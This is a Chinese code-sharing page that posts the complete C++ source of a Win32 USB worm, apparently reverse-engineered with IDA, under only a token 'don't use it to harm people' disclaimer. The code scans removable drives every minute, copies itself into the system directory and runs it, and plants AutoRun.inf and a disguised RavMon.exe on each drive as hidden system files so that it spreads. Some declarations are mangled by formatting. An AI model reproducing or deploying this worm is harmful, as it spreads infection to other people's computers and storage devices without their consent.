一個簡單的C++編寫的u盤病毒代碼

jopen 9年前發布 | 7K 次閱讀 C/C++

一個簡單的C++編寫的u盤病毒代碼
一個win32下能用的U盤病毒 研究原理可以 別編譯拿去害人就行 (ring3的病毒貌似也害不了人) 前久用IDA逆向出來的 感興趣的可以看看。。。

#include<windows.h>

include<string.h>

BOOL UDevice();

void ResourceToFile(char filename,char Name,char* Type);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { UDevice(); return 0; }

BOOL UDevice() {

 while(1)
 {
     char Name[256]="H:\\";
     char szName[256];
     char ToPath[256];
     char infPath[256];
     char OpenUDevice[79];

     UINT retType;

     memset(szName, 0, 256);
     memset(ToPath, 0, 256);
     memset(infPath, 0, 256);
     memset(OpenUDevice, 0, 79);


 //do
 //{
 //}while()

 //遍歷盤符
     unsigned char i = 0x42;
     for(; i < 0x5B; i += 0x1)
     {
       Name[0] = i;
       retType = GetDriveType(Name);
       //判斷是否是可移動存儲設備
       if(retType == DRIVE_REMOVABLE)
       {
            //得到自身文件路徑
            GetModuleFileName(NULL, szName, 256);
            //比較是否和U盤的盤符相同
            if(strncmp(Name, szName, 1) == 0)
            {
                //得到系統目錄
               GetSystemDirectory(ToPath, 256);
               strcat(ToPath,"\\Uinfect.exe");
               //把自身文件復制到系統目錄
               if(CopyFile(szName, ToPath, TRUE))
               {
                   WinExec(ToPath, 0);//運行程序
               }

               strcpy(OpenUDevice, "explorer ");
               strcat(OpenUDevice, Name);

               //打開U盤
               WinExec(OpenUDevice,1);
               return 0;  
            }
            else
            {
                strcpy(ToPath, Name);
                strcat(ToPath,"\\RavMon.exe");
                strcpy(infPath,Name);
                strcat(infPath,"\\AutoRun.inf");


                //還原U盤上的文件屬性
                SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL);
                SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
                //刪除原有文件
                DeleteFile(ToPath);
                DeleteFile(infPath);
                //釋放AutoRun.inf到U盤
                ResourceToFile(infPath, (char*)0x64, (char*)256);
                //拷貝自身文件到U盤
                CopyFile(szName,ToPath,FALSE);

                //把這兩個文件設置成系統,隱藏屬性

                //這里我查了MSDN  因為第二個參數的宏可能用了或位運算,所以推導宏定義有點麻煩
                SetFileAttributes(ToPath, 0x6);
                SetFileAttributes(infPath, 0x6);
            }
       }
     }
     //一分鐘檢測一次U盤
     Sleep(60000);
 }

}

void ResourceToFile(char filename,char Name,char* Type) {

//尋找自身進程中的資源
HRSRC hRes = FindResource(NULL,Name,Type);
if(hRes==NULL)
    return;
//導入資源
HGLOBAL hgRes = LoadResource(NULL, hRes);
if(hgRes==NULL)
    return;
//鎖定資源
void *pRes = LockResource(hgRes);
if(pRes==NULL)
    return;
//得到資源字節數
DWORD size = SizeofResource(NULL, hRes);
if(size==0)
    return;
//創建文件
HANDLE hFile = CreateFile(filename, 0x40000000, 0, 0,
                 CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
if(hFile==INVALID_HANDLE_VALUE)
    return;
DWORD dwWrite;
//把資源寫入到文件
if(!WriteFile(hFile, pRes, size, &dwWrite, 0))
    return;
//關閉文件句柄
CloseHandle(hFile);
//釋放資源
GlobalFree(hgRes);

}</pre>

 本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!